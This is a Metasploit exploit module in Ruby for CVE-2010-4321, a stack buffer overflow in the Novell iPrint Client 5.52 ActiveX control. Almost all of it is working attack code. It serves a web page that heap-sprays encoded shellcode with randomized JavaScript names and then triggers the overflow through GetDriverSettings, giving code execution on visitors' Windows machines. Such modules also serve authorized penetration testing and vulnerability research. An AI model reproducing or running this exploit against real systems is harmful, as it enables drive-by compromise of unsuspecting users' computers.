Novell iPrint Client 5.52 – ActiveX Control Buffer Overflow (Metasploit)
## # $Id: novelliprint_getdriversettings_2.rb 11888 2011-03-07 02:28:15Z bannedit $ ## ### # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info(info, 'Name' => 'Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When sending an overly long string to the GetDriverSettings() property of ienipp.ocx an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <steventhomasseeley[at]gmail.com>', # metasploit module 'Dr_IDE' # original Exploit from exploit-db.com ], 'Version' => '$Revision: 11888 $', 'References' => [ [ 'CVE', '2010-4321' ], [ 'BID', '44966' ], [ 'OSVDB', '69357' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-256/' ], [ 'URL', 'http://www.exploit-db.com/exploits/16014/' ], [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7007234' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ] ], 'DisclosureDate' => 'Nov 15 2010', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. ret = Rex::Text.uri_encode([target.ret].pack('L')) # Randomize the javascript variable names. vname = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(30) + 2) rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) content = %Q|<html> <object id='#{vname}' classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'></object> <script language="JavaScript"> var #{rand1} = unescape('#{shellcode}'); var #{rand2} = unescape('#{nops}'); var #{rand3} = 20; var #{rand4} = #{rand3} + #{rand1}.length; while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2}; var #{rand5} = #{rand2}.substring(0,#{rand4}); var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4}); while (#{rand6}.length + #{rand4} < 0x50000) #{rand6} = #{rand6} + #{rand6} + #{rand5}; var #{rand7} = new Array(); for (#{var_i} = 0; #{var_i} < 200; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} } var #{rand8} = ""; for (#{var_i} = 0; #{var_i} < 250; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') } #{vname}.GetDriverSettings(#{rand8}, #{vname}, #{vname}, #{vname}); </script> </html> | content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |